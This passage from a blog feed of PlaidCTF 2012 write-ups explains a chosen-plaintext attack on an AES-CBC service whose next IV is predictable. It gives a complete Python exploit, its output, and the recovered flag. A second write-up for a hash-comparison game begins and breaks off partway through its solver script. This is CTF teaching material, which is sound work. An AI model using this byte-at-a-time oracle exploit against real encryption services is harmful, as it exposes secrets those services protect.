&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; length <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">struct</span>.<span style="color: black;">unpack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'I'</span><span style="color: #66cc66;">,</span> data<span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> length <span style="color: #66cc66;">&gt;</span> <span style="color: #ff4500;">4096</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data <span style="color: #66cc66;">=</span> <span style="color: #008000;">self</span>.<span style="color: black;">rfile</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span>length<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data +<span style="color: #66cc66;">=</span> PROBLEM_KEY<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ciphertext <span style="color: #66cc66;">=</span> encrypt<span style="color: black;">&#40;</span>data<span style="color: #66cc66;">,</span> iv<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; iv <span style="color: #66cc66;">=</span> ciphertext<span style="color: black;">&#91;</span>-<span style="color: #ff4500;">16</span>:<span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">wfile</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'I'</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>ciphertext<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">self</span>.<span style="color: black;">wfile</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span>ciphertext<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">except</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">class</span> ReusableTCPServer<span style="color: black;">&#40;</span><span style="color: #dc143c;">SocketServer</span>.<span style="color: black;">ForkingMixIn</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">SocketServer</span>.<span style="color: black;">TCPServer</span><span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; allow_reuse_address <span style="color: #66cc66;">=</span> <span style="color: #008000;">True</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ <span style="color: #66cc66;">==</span> <span style="color: #483d8b;">'__main__'</span>:<br />
&nbsp; &nbsp; HOST <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'0.0.0.0'</span><br />
&nbsp; &nbsp; PORT <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">4433</span><br />
&nbsp; &nbsp; <span style="color: #dc143c;">SocketServer</span>.<span style="color: black;">TCPServer</span>.<span style="color: black;">allow_reuse_address</span> <span style="color: #66cc66;">=</span> <span style="color: #008000;">True</span><br />
&nbsp; &nbsp; server <span style="color: #66cc66;">=</span> ReusableTCPServer<span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>HOST<span style="color: #66cc66;">,</span> PORT<span style="color: black;">&#41;</span><span style="color: #66cc66;">,</span> ProblemHandler<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; server.<span style="color: black;">serve_forever</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
<p>In this challenge, we can submit strings to a python service, these strings will be used as plaintext for an AES encryption. The challenge flag is appended to our plaintext.</p>
<p>We notice 2 things:<br />
- We control the plaintext prefix<br />
- We know the IV before sending our plaintext</p>
<p>This is a recipe for disaster as explained in various papers since 2001<br />
- TLS IV CBC attack: <a href="http://www.openssl.org/~bodo/tls-cbc.txt" target="_blank">http://www.openssl.org/~bodo/tls-cbc.txt</a><br />
- SSL BEAST attack: <a href="http://www.educatedguesswork.org/2011/09/security_impact_of_the_rizzodu.html" target="_blank">http://www.educatedguesswork.org/2011/09/security_impact_of_the_rizzodu.html</a></p>
<p>The main point is that since we know the IV before sending our plaintext. </p>
<p>How to proceed:<br />
- Make the IV a fixed value: send Plaintext = IV -> C = AES(P ^ IV) -> C = AES(IV ^ IV) -> C = AES(0) -> IV = fixed value<br />
- Send plaintext 'A' * 15 : Since block size is 16, the first byte of the flag get appended to our plaintext in this block, we keep the returned block as a reference block<br />
- Make the IV a fixed value (same as above)<br />
- Send plaintext 'A' * 15 + chr(a) : if our guess chr(a) is the same char than the first char of the flag, the very same block that our reference block will be returned!</p>
<p>It's even easier as the service allow us to chain packets ad infinitum.</p>
<div class="codecolorer-container python default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span><br />
<span style="color: #808080; font-style: italic;"># -*- coding: latin-1 -*-</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">struct</span><br />
<br />
BLOCK_SIZE <span style="color: #66cc66;">=</span> <span style="color: #ff4500;">16</span><br />
PROBLEM_KEY <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'xxxxxxxxxxxxxxxxxxxxxxxxxxxxx'</span><br />
CHARSET <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;etainosrldhcumfpygwvbkxjqz_&quot;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">def</span> send_packet<span style="color: black;">&#40;</span>s<span style="color: #66cc66;">,</span> data<span style="color: black;">&#41;</span>:<br />
&nbsp; s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'I'</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
&nbsp; s.<span style="color: black;">send</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">def</span> recv_packet<span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">struct</span>.<span style="color: black;">unpack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'I'</span><span style="color: #66cc66;">,</span> s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">def</span> do_block<span style="color: black;">&#40;</span>s<span style="color: #66cc66;">,</span> iv<span style="color: #66cc66;">,</span> offset<span style="color: #66cc66;">,</span> payload<span style="color: black;">&#41;</span>:<br />
&nbsp; send_packet<span style="color: black;">&#40;</span>s<span style="color: #66cc66;">,</span> iv<span style="color: black;">&#41;</span><br />
&nbsp; recv_payload <span style="color: #66cc66;">=</span> recv_packet<span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span><br />
<br />
&nbsp; payload <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'A'</span> * <span style="color: black;">&#40;</span>BLOCK_SIZE - <span style="color: black;">&#40;</span>offset % BLOCK_SIZE<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> + payload<br />
<br />
&nbsp; send_packet<span style="color: black;">&#40;</span>s<span style="color: #66cc66;">,</span> payload<span style="color: black;">&#41;</span><br />
&nbsp; recv_payload <span style="color: #66cc66;">=</span> recv_packet<span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span><br />
<br />
&nbsp; block_offset <span style="color: #66cc66;">=</span> offset / BLOCK_SIZE * BLOCK_SIZE<br />
<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">return</span> recv_payload<span style="color: black;">&#91;</span>-<span style="color: #ff4500;">16</span>:<span style="color: black;">&#93;</span><span style="color: #66cc66;">,</span> recv_payload<span style="color: black;">&#91;</span>block_offset : block_offset + BLOCK_SIZE <span style="color: black;">&#93;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!=</span> <span style="color: #ff4500;">3</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>Usage:<span style="color: #000099; font-weight: bold;">\t</span>./es.py [host] [port]'</span><br />
&nbsp; <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
<br />
host <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><br />
port <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
<br />
s <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span><br />
s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host<span style="color: #66cc66;">,</span> port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
<br />
iv <span style="color: #66cc66;">=</span> s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Initial IV'</span><span style="color: #66cc66;">,</span> iv.<span style="color: black;">encode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;hex&quot;</span><span style="color: black;">&#41;</span><br />
<br />
key <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">''</span><span style="color: #66cc66;">;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">xrange</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: #66cc66;">,</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>PROBLEM_KEY<span style="color: black;">&#41;</span> + <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>:<br />
<br />
&nbsp; iv<span style="color: #66cc66;">,</span> ref_block <span style="color: #66cc66;">=</span> do_block<span style="color: black;">&#40;</span>s<span style="color: #66cc66;">,</span> iv<span style="color: #66cc66;">,</span> i<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">''</span><span style="color: black;">&#41;</span><br />
<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Reference block'</span><span style="color: #66cc66;">,</span> i<span style="color: #66cc66;">,</span> ref_block.<span style="color: black;">encode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;hex&quot;</span><span style="color: black;">&#41;</span><br />
<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">for</span> char <span style="color: #ff7700;font-weight:bold;">in</span> CHARSET:<br />
&nbsp; &nbsp; iv<span style="color: #66cc66;">,</span> block <span style="color: #66cc66;">=</span> do_block<span style="color: black;">&#40;</span>s<span style="color: #66cc66;">,</span> iv<span style="color: #66cc66;">,</span> i<span style="color: #66cc66;">,</span> key + char<span style="color: black;">&#41;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> ref_block <span style="color: #66cc66;">==</span> block:<br />
&nbsp; &nbsp; &nbsp; key +<span style="color: #66cc66;">=</span> char<br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Adding char'</span><span style="color: #66cc66;">,</span> char<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'to key'</span><span style="color: #66cc66;">,</span> key<br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Key'</span><span style="color: #66cc66;">,</span> key<br />
<br />
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></div></div>
<blockquote><p>$ python es.py 23.21.15.166 4433<br />
Initial IV 4bd8f3081acbc15928dda4361d65c176<br />
Reference block 1 c7da9a9e5c7df566c7d1c78c7f958708<br />
Adding char p to key p<br />
Reference block 2 c342bac54efbefea7dbd6b2c07be73fe<br />
Adding char r to key pr<br />
Reference block 3 8c65858c5fcbdf5cbcc7e813a47cdaf7<br />
Adding char e to key pre<br />
Reference block 4 9bc925111eabd7110a9c5ba6fd68d15d<br />
Adding char d to key pred<br />
Reference block 5 d039728634a56052c00555a4dfa031e9<br />
Adding char i to key predi<br />
Reference block 6 bd60a3b4c56bb52b0adb190a88f9908e<br />
Adding char c to key predic<br />
Reference block 7 ba22638ee7cbbf30e7473a1855c85ae5<br />
Adding char t to key predict<br />
Reference block 8 b4bac8637ea67d3acbdaebd628e83757<br />
Adding char a to key predicta<br />
Reference block 9 c452a87a9317b42d800ee335b1325cdb<br />
Adding char b to key predictab<br />
Reference block 10 a19025c18c6974ab9b0bd8795e573a0a<br />
Adding char l to key predictabl<br />
Reference block 11 b08fb475d1fe22f0578eaeb44324ab80<br />
Adding char e to key predictable<br />
Reference block 12 2c49728b3c0430eba12b9eadd85aa4a3<br />
Adding char _ to key predictable_<br />
Reference block 13 e50682c26d6cdc97b13f7012160d1e49<br />
Adding char i to key predictable_i<br />
Reference block 14 005267fdb690b28bda84685e86a3416e<br />
Adding char v to key predictable_iv<br />
Reference block 15 c6c8cb7836bda8e3e42b77e06c1455a4<br />
Adding char s to key predictable_ivs<br />
Reference block 16 4b5f8094c71f51bcab515f120a32b059<br />
Adding char _ to key predictable_ivs_<br />
Reference block 17 cf1422daa9ccc75f921463811a3731da<br />
Adding char a to key predictable_ivs_a<br />
Reference block 18 7f9391c531bc0cfc807ca3d775b39718<br />
Adding char r to key predictable_ivs_ar<br />
Reference block 19 5229aaa4b88439f2a638f5d681dbe1d8<br />
Adding char e to key predictable_ivs_are<br />
Reference block 20 0506234b02a15e7bd979d99a43d1e106<br />
Adding char _ to key predictable_ivs_are_<br />
Reference block 21 1e9144b0c3c7c50d7f103002f6da36a3<br />
Adding char d to key predictable_ivs_are_d<br />
Reference block 22 5fc2881eea7170935c502d25f49976f6<br />
Adding char a to key predictable_ivs_are_da<br />
Reference block 23 c8a8c847ec00f510adb16b81ab21b49c<br />
Adding char n to key predictable_ivs_are_dan<br />
Reference block 24 7747633ede348721e6ba99f467f2f695<br />
Adding char g to key predictable_ivs_are_dang<br />
Reference block 25 1ea4b93c0598027d3572107a0c0d8ca0<br />
Adding char e to key predictable_ivs_are_dange<br />
Reference block 26 8363c6e43ba90bdbaebb22c4867770d3<br />
Adding char r to key predictable_ivs_are_danger<br />
Reference block 27 fcda24acc44f419b3c75b089ff44d5cc<br />
Adding char o to key predictable_ivs_are_dangero<br />
Reference block 28 98be810462614bebcbef42cc8f86df8f<br />
Adding char u to key predictable_ivs_are_dangerou<br />
Reference block 29 b4dfd749e702755a9bfb434776ec07b8<br />
Adding char s to key predictable_ivs_are_dangerous<br />
Key predictable_ivs_are_dangerous</p></blockquote>
<p>The key is predictable_ivs_are_dangerous</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fcodezen.fr%2F2012%2F05%2F01%2Fplaidctf-2012-password-guessing-300-encryption-service-writeup%2F&amp;title=PlaidCTF%202012%20%E2%80%93%20Password%20Guessing%20300%20%E2%80%93%20Encryption%20Service%20Writeup" id="wpa2a_4"><img src="http://codezen.fr/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2012/05/01/plaidctf-2012-password-guessing-300-encryption-service-writeup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2012 &#8211; Potpourri 100 &#8211; The Game Writeup</title>
		<link>http://codezen.fr/2012/04/30/plaidctf-2012-potpourri-100-the-game-writeup/</link>
		<comments>http://codezen.fr/2012/04/30/plaidctf-2012-potpourri-100-the-game-writeup/#comments</comments>
		<pubDate>Mon, 30 Apr 2012 17:10:06 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[logic]]></category>
		<category><![CDATA[pctf2012]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=144</guid>
		<description><![CDATA[Robots enjoy some strange games and we just can't quite figure this one out. Maybe you will have better luck than us. 23.22.16.34:6969 We have a game running on that port: You have gotten 0 of 75 Choice 1 = 98d00c65d341be04600f915b32c01c81ab Choice 2 = 7a859a01731c050797ac952d82b895882a Which one is bigger? (1 or 2) 1 1 Correct! [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Robots enjoy some strange games and we just can't quite figure this one out. Maybe you will have better luck than us.<br />
23.22.16.34:6969</p></blockquote>
<p>We have a game running on that port:</p>
<blockquote><p>You have gotten 0 of 75<br />
Choice 1 = 98d00c65d341be04600f915b32c01c81ab<br />
Choice 2 = 7a859a01731c050797ac952d82b895882a<br />
Which one is bigger? (1 or 2)<br />
1<br />
1<br />
Correct!<br />
--------------------<br />
You have gotten 1 of 75<br />
Choice 1 = d6e4fbe0e4cd99e8fac2b40fbaa80ea8b0<br />
Choice 2 = 9535d4c5a1a007f302c3f2cc6d1733989f<br />
Which one is bigger? (1 or 2)<br />
1<br />
1<br />
Wrong <img src='http://codezen.fr/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p></blockquote>
<p>As you can see, "bigger" is not related to the number expressed in hexadecimal has being really greater than the other. We tried many different things to try to find a relation (modulo, adding the digits, ...) ... until I starred for a few minutes at our script that was playing the game in a loop and noticed the hashes were coming back.. it wasn't random numbers!</p>
<p>My first approach was to "learn" all the possible round. If a similar round comes back, we know the answer. I noticed that if we know only one of the number, if this number has won before, there is a slightly (slightly!) chance that it will won this match again. This approach kinds of worked but was very slow.. after 6 hours of learning, we weren't going higher than ~30-40 winning round in a row.</p>
<p>The next approach was to consider this challenge as a bubble sort: we will maintain an ordered list of the numbers and swap them around depend of which is considered bigger, basically using the service as an oracle.</p>
<p>This version worked much better and can solve The Game in around ~30 minutes.</p>
<p>I'm still learning Python so this isn't anything Im proud of on the point of view of the Python style of whatever <img src='http://codezen.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<div class="codecolorer-container python default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span><br />
<span style="color: #808080; font-style: italic;"># -*- coding: latin-1 -*-</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!=</span> <span style="color: #ff4500;">3</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>Usage:<span style="color: #000099; font-weight: bold;">\t</span>./bigger.py [host] [port]'</span><br />
&nbsp; <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
<br />
host <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><br />
port <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><br />
<br />
s <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span><br />
s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host<span style="color: #66cc66;">,</span> port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
<br />
fs<span style="color: #66cc66;">=</span>s.<span style="color: black;">makefile</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
regex <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">re</span>.<span style="color: #008000;">compile</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;.*= (.*)&quot;</span><span style="color: black;">&#41;</span><br />
<br />
matchs <span style="color: #66cc66;">=</span> <span style="color: black;">&#123;</span><span style="color: black;">&#125;</span><br />
winner <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><br />
numbers <span style="color: #66cc66;">=</span> <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff4500;">1</span>:<br />
&nbsp; welcome <span style="color: #66cc66;">=</span> fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> welcome<br />
<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> welcome <span style="color: #66cc66;">==</span> <span style="color: #483d8b;">'Yay you have won!<span style="color: #000099; font-weight: bold;">\n</span>'</span>:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #ff4500;">1</span>:<br />
&nbsp; &nbsp; &nbsp; line <span style="color: #66cc66;">=</span> fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> line:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">break</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Received'</span><span style="color: #66cc66;">,</span> <span style="color: #dc143c;">repr</span><span style="color: black;">&#40;</span>line<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; exit<span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><br />
<br />
&nbsp; choice1 <span style="color: #66cc66;">=</span> fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; choice2 <span style="color: #66cc66;">=</span> fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; question <span style="color: #66cc66;">=</span> fs.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
&nbsp; r <span style="color: #66cc66;">=</span> regex.<span style="color: black;">search</span><span style="color: black;">&#40;</span>choice1<span style="color: black;">&#41;</span><br />
&nbsp; choice1 <span style="color: #66cc66;">=</span> r.<span style="color: black;">groups</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><br />
&nbsp; num1 <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>choice1<span style="color: #66cc66;">,</span><span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span><br />
&nbsp;<br />
&nbsp; r <span style="color: #66cc66;">=</span> regex.<span style="color: black;">search</span><span style="color: black;">&#40;</span>choice2<span style="color: black;">&#41;</span><br />
&nbsp; choice2 <span style="color: #66cc66;">=</span> r.<span style="color: black;">groups</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><br />
&nbsp; num2 <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>choice2<span style="color: #66cc66;">,</span> <span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span><br />
<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Choice 1'</span><span style="color: #66cc66;">,</span> choice1<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'Choice 2'</span><span style="color: #66cc66;">,</span> choice2<br />
<br />
&nbsp; key1 <span style="color: #66cc66;">=</span> choice1 + choice2<br />
&nbsp; key2 <span style="color: #66cc66;">=</span> choice2 + choice1<br />
<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> key1 <span style="color: #ff7700;font-weight:bold;">in</span> matchs:<br />
&nbsp; &nbsp; choice <span style="color: #66cc66;">=</span> matchs<span style="color: black;">&#91;</span>key1<span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Send'</span><span style="color: #66cc66;">,</span> choice<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'because previous match result'</span><br />
&nbsp; &nbsp; s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'%d<span style="color: #000099; font-weight: bold;">\n</span>'</span> %choice<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; predicted <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'previous'</span><br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">elif</span> key2 <span style="color: #ff7700;font-weight:bold;">in</span> matchs:<br />
&nbsp; &nbsp; choice <span style="color: #66cc66;">=</span> matchs<span style="color: black;">&#91;</span>key2<span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Send'</span><span style="color: #66cc66;">,</span> choice<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'because previous match result'</span><br />
&nbsp; &nbsp; s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'%d<span style="color: #000099; font-weight: bold;">\n</span>'</span> %choice<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; predicted <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'previous'</span><br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">else</span>:<br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> choice1 <span style="color: #ff7700;font-weight:bold;">in</span> numbers <span style="color: #ff7700;font-weight:bold;">and</span> choice2 <span style="color: #ff7700;font-weight:bold;">in</span> numbers:<br />
